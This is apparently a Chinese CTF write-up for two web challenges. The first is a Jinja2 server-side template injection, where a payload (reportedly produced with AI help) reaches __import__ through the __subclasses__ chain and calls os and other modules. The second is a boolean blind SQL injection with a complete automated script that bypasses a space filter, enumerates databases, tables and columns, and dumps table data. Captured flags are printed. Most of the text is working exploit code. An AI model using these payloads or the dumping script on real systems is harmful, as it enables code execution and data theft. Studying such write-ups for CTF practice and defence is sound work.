      return jsonify({"flag": RealFlag})
    return jsonify({"status": "OK"})
  return render_template_string('''<!DOCTYPE html>
<html lang="zh-cn">
<head>
    <meta charset="UTF-8">
    <title>首页</title>
</head>
<body>
    <h1>提交你的代码,让后端看看你的厉害!</h1>
    <form action="/" method="post">
        <label for="submit">提交一下:</label>
        <input type="text" id="submit" name="submit" required>
        <button type="submit">提交</button>
    </form>
    <div style="margin-top: 20px;">
        <p> 尝试调用到这些函数! </p>
    {% for func in funcList %}
        <p>{{ func }}</p>
    {% endfor %}
    <div style="margin-top: 20px; color: red;">
        <p> 你目前已经调用了 {{ called_funcs|length }} 个函数:</p>
        <ul>
        {% for func in called_funcs %}
            <li>{{ func }}</li>
        {% endfor %}
        </ul>
    </div>
</body>
<script>
    
</script>
</html>

                                '''
                                , 
                                funcList = need_List, called_funcs = [func for func, called in need_List.items() if called])

if __name__ == '__main__':
  app.run(host='0.0.0.0', port=5000, debug=False)

ai一把梭:

python 复制代码
{% set __imp = ''.__class__.__mro__[1].__subclasses__()[IDX].__init__.__globals__['__builtins__']['__import__'] %}
{% set _os = __imp('os') %}
{% set _re = __imp('re') %}
{% set _difflib = __imp('difflib') %}
{% set _textwrap = __imp('textwrap') %}
{% set _statistics = __imp('statistics') %}
{% set _random = __imp('random') %}
{% set _json = __imp('json') %}
{% set _io = __imp('io') %}
{# 通过 io.StringIO 提供一个可读的 JSON 文件对象,以便触发 json.load 的函数名 "load" #}
{% set _f = _io.StringIO('"x"') %}
{# 下面依次调用目标函数(尽量覆盖 need_List 里可能的名字) #}
{% set a = _difflib.get_close_matches('a',['a']) %}
{% set b = _textwrap.dedent(' x') %}
{% set c = _statistics.fmean([1,2,3]) %}
{% set d = _os.listdir('.') %}
{% set e = _re.search('a','a') %}
{% set f = _random.randint(1,2) %}
{% set g = _json.loads('"x"') %}
{% set h = _json.load(_f) %}
{% set i = _re.findall('.', 'a') %}
{% set j = _statistics.mean([1,2]) %}
{% set k = _random.choice([1,2]) %}
Rendered.
txt 复制代码
flag{12c4c60d-6a52-4515-85a0-90052c4e6b2b}

白帽小K的故事(2)

题目内容:

小 K 在泰拉大陆上漫步的过程中,遇到了形形色色的人,她把这些人记录在了她的超维空间数据库中。但是突生变故让她丢失了终端的控制权,只留下了备用终端。可是这个终端只有一个检查用户状态的接口,只有获取到数据库中的神秘代码才能够重新夺回控制权。帮她夺回权限吧!

【难度:中等】

盲注,通过字典fuzz之后发现,可以使用()来绕过对空格的过滤,这里给出自动化的脚本.

exp:

python 复制代码
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import requests
import time
import sys
import argparse

# ---------------- 配置区(请按需修改) ----------------
URL = "https://eci-2ze67tlhfafcfkym7tjr.cloudeci1.ichunqiu.com:80/search"
HEADERS = {
    "Content-Type": "application/x-www-form-urlencoded",
    "User-Agent": "Mozilla/5.0 (compatible)"
}
# 发送时的前后缀(保持你给出的格式)
PREFIX = "name=amiya'and("
SUFFIX = ")#"

# 超时/重试/节流
TIMEOUT = 6
RETRIES = 2
SLEEP = 0.03   # 每请求间隔,默认 30ms(可根据靶场调整)
DEBUG = False  # True 打印每条请求与响应,调试时开启

# 可选:空格绕过(把空格替为 /**/ 等),但既然要无空格风格,默认 False
SPACE_BYPASS = False
SPACE_REPLACEMENT = "/**/"

# ----------------- HTTP 与判断函数 -----------------
def send_payload_raw(cond):
    if SPACE_BYPASS:
        cond = cond.replace(" ", SPACE_REPLACEMENT)
    payload = f"{PREFIX}{cond}{SUFFIX}"
    last_exc = None
    for attempt in range(RETRIES + 1):
        try:
            if DEBUG:
                print(f"[DBG] -> {payload}")
            resp = requests.post(URL, data=payload, headers=HEADERS, timeout=TIMEOUT)
            try:
                return resp.json()
            except Exception:
                return resp.text
        except requests.exceptions.RequestException as e:
            last_exc = e
            if DEBUG:
                print(f"[WARN] 请求异常:{e} (尝试 {attempt+1}/{RETRIES+1})")
            time.sleep(1)
    if DEBUG:
        print("[ERROR] 所有重试失败:", last_exc)
    return None


def is_true_response(resp):
    if resp is None:
        return False
    if isinstance(resp, dict):
        status = str(resp.get("status", "")).lower()
        message = str(resp.get("message", "")).lower()
        if status == "ok" and "found" in message:
            return True
        if status == "error" and "not found" in message:
            return False
    txt = str(resp)
    if "Found" in txt:
        return True
    if "Not Found" in txt:
        return False
    if DEBUG:
        print("[DBG] 未能解析响应:", txt[:400].replace("\n", "\\n"))
    return False


def check_condition(cond):
    resp = send_payload_raw(cond)
    return is_true_response(resp)

# ----------------- 爆破函数 -----------------
def binary_search_length(expr, max_upper=16384):
    if DEBUG:
        print(f"[DBG] binary_search_length expr={expr} max_upper={max_upper}")
    low = 0
    high = max_upper
    while low < high:
        mid = (low + high) // 2
        cond = f"length(({expr}))>{mid}"
        if DEBUG:
            print(f"[DBG] length check: {cond}")
        if check_condition(cond):
            low = mid + 1
        else:
            high = mid
        time.sleep(SLEEP)
    length = low
    if DEBUG:
        print(f"[DBG] length -> {length}")
    return length


def extract_string_by_binary(expr, max_len=20000):
    if DEBUG:
        print(f"[DBG] extract_string_by_binary expr={expr} max_len={max_len}")
    result = ""
    for pos in range(1, max_len + 1):
        null_cond = f"ascii(substr(({expr}),{pos},1))=0"
        if check_condition(null_cond):
            if DEBUG:
                print(f"[DBG] pos {pos} is NULL -> stop")
            break
        low = 32
        high = 126
        while low <= high:
            mid = (low + high) // 2
            cond = f"ascii(substr(({expr}),{pos},1))>{mid}"
            if check_condition(cond):
                low = mid + 1
            else:
                high = mid - 1
            time.sleep(SLEEP)
        ascii_val = low
        if ascii_val < 32 or ascii_val > 126:
            if DEBUG:
                print(f"[DBG] pos {pos} ascii out of range: {ascii_val} -> stop")
            break
        ch = chr(ascii_val)
        result += ch
        sys.stdout.write(f"\r[+] pos={pos} -> '{ch}'  current_len={len(result)}")
        sys.stdout.flush()
    print(f"\n[+] 提取完成: len={len(result)}")
    return result

# ----------------- 列表化辅助函数 -----------------
def extract_group_concat_list(expr, max_len_guess=16384, sep=':'):
    length = binary_search_length(expr, max_len_guess)
    if length == 0:
        return []
    s = extract_string_by_binary(expr, length)
    items = [x for x in s.split(sep) if x != '']
    return items

# ----------------- 枚举与导出函数 -----------------
def list_all_databases():
    expr = "select(group_concat(concat(schema_name,0x3a)))from(information_schema.schemata)"
    return extract_group_concat_list(expr, max_len_guess=4096, sep=':')


def list_tables_for_schema(schema_name):
    expr = f"select(group_concat(concat(table_name,0x3a)))from(information_schema.tables)where(table_schema)='{schema_name}'"
    return extract_group_concat_list(expr, max_len_guess=8192, sep=':')


def list_columns_for_table(schema_name, table_name):
    expr = f"select(group_concat(concat(column_name,0x3a)))from(information_schema.columns)where(table_schema)='{schema_name}'and(table_name)='{table_name}'"
    return extract_group_concat_list(expr, max_len_guess=8192, sep=':')


def dump_table_data(schema_name, table_name, columns=None, max_len_guess=20000):
    """
    尝试导出指定表的所有行,默认将所有列按 ':' 连接,整表按 ',' 连接。
    返回导出的原始拼接字符串(如果成功),以及解析成的行列表。
    注:若表非常大或 group_concat 有长度限制,可能失败或被截断。
    """
    if columns is None:
        cols = list_columns_for_table(schema_name, table_name)
        if not cols:
            if DEBUG:
                print(f"[WARN] 无法获取 {schema_name}.{table_name} 的列信息")
            return "", []
    else:
        cols = columns
    # 构造 concat(col1,0x3a,col2,0x3a,...)
    concat_parts = []
    for i, c in enumerate(cols):
        concat_parts.append(c)
        if i != len(cols) - 1:
            concat_parts.append("0x3a")
    inner = ",".join(concat_parts)
    # group_concat(concat(...)) from schema.table
    expr = f"select(group_concat(concat({inner})))from({schema_name}.{table_name})"
    length = binary_search_length(expr, max_len_guess)
    if length == 0:
        return "", []
    s = extract_string_by_binary(expr, length)
    # 尝试把整个拼接字符串按 0x3a 分列,然后按行拆分(注意:无法区分列间的逗号导致的歧义,假定列值不含 ':')
    rows = []
    if s:
        # group_concat 将所有行连成一个长字符串,用 ',' 分隔行(如果默认分隔符为 ','),但为了稳妥,先按 ',' 尝试
        # 如果你在 DB 中设置了不同的 SEPARATOR(例如 0x2c),需要调整此处。
        rows = [r for r in s.split(',') if r != '']
    return s, rows

# ----------------- CLI 与示例 -----------------
def parse_args():
    p = argparse.ArgumentParser(description="无空格括号风格 布尔盲注 导出 Flag DB 脚本(用于授权靶场/本地CTF)")
    p.add_argument("--url", help="目标 URL(覆盖脚本内配置)", default=None)
    p.add_argument("--schema", help="目标 schema 名(默认为 Flag)", default="Flag")
    p.add_argument("--only-db", help="只列出数据库,不继续枚举表/列", action="store_true")
    p.add_argument("--debug", help="开启调试", action="store_true")
    return p.parse_args()


def main():
    global URL, DEBUG
    args = parse_args()
    if args.url:
        URL = args.url
    if args.debug:
        DEBUG = True

    print("[*] 注意:请确认你对目标有授权(用户已确认为自己的靶场)")
    print("[*] 目标 URL:", URL)

    print("\n[*] Step 1: 枚举所有 database()(schema)")
    dbs = list_all_databases()
    if not dbs:
        print("[WARN] 未能获取到任何 database,请检查目标或增加 max_len_guess")
        return

    print(f"[+] 共发现 {len(dbs)} 个 schema:")
    for i, db in enumerate(dbs, 1):
        print(f"  [{i}] {db}")

    if args.only_db:
        return

    target_schema = args.schema
    print(f"\n[*] Step 2: 以 schema='{target_schema}' 作为目标,枚举表与列并尝试导出数据")

    tables = list_tables_for_schema(target_schema)
    if not tables:
        print(f"[WARN] 在 schema '{target_schema}' 下未发现表或无权限")
        return

    print(f"[+] 在 schema '{target_schema}' 下发现 {len(tables)} 张表:")
    for t in tables:
        print(f"\n[>] 表: {t}")
        cols = list_columns_for_table(target_schema, t)
        if not cols:
            print("  [WARN] 无法枚举列 或 表为空")
            continue
        print(f"  [*] 列 ({len(cols)}): {', '.join(cols)}")
        print("  [*] 尝试导出整表数据(可能被截断或受长度限制)...")
        raw, rows = dump_table_data(target_schema, t, columns=cols)
        if not raw:
            print("  [WARN] 导出失败或为空")
            continue
        # 打印前几行以便快速查看(若太多则只看前 20)
        max_preview = 20
        print(f"  [*] 导出总长度: {len(raw)} 字符,预览前 {min(len(rows), max_preview)} 行:")
        for i, r in enumerate(rows[:max_preview], 1):
            print(f"    ({i}) {r}")
        if len(rows) > max_preview:
            print(f"    ... (共 {len(rows)} 行,已省略)")

    print('\n[+] 导出尝试完成')

if __name__ == "__main__":
    main()
txt 复制代码
flag{b2f00fa9-8d65-45ac-9193-8a852c4910fb}
相关推荐
white-persist7 小时前
什么是网络安全,网络空间安全有哪些安全?
服务器·网络·安全·web安全·网络安全·系统安全·安全架构
Forfun_tt16 小时前
upload-labs pass-19
web安全·网络安全
缘友一世16 小时前
文件上传漏洞和绕过技术
web安全·网络安全·渗透测试·文件上传漏洞·开发安全
网安INF1 天前
网络攻防技术:拒绝服务攻击
网络·安全·web安全·网络安全
emma羊羊1 天前
【业务逻辑漏洞】认证漏洞
mysql·网络安全·靶场·业务逻辑漏洞
Forfun_tt1 天前
xss-labs pass-07
网络安全·xss
拥友LikT1 天前
计算机网络基础篇——网络安全
计算机网络·网络安全
北京耐用通信1 天前
打破协议壁垒:耐达讯自动化Modbus转Profinet网关实现光伏逆变器全数据采集
运维·人工智能·物联网·网络安全·自动化·信息与通信
Whoami!1 天前
⸢ 捌-Ⅱ⸥⤳ 可信纵深防御应用实践:软件供应链、数据滥用、安全加固
网络安全·信息安全·安全实践·纵深防御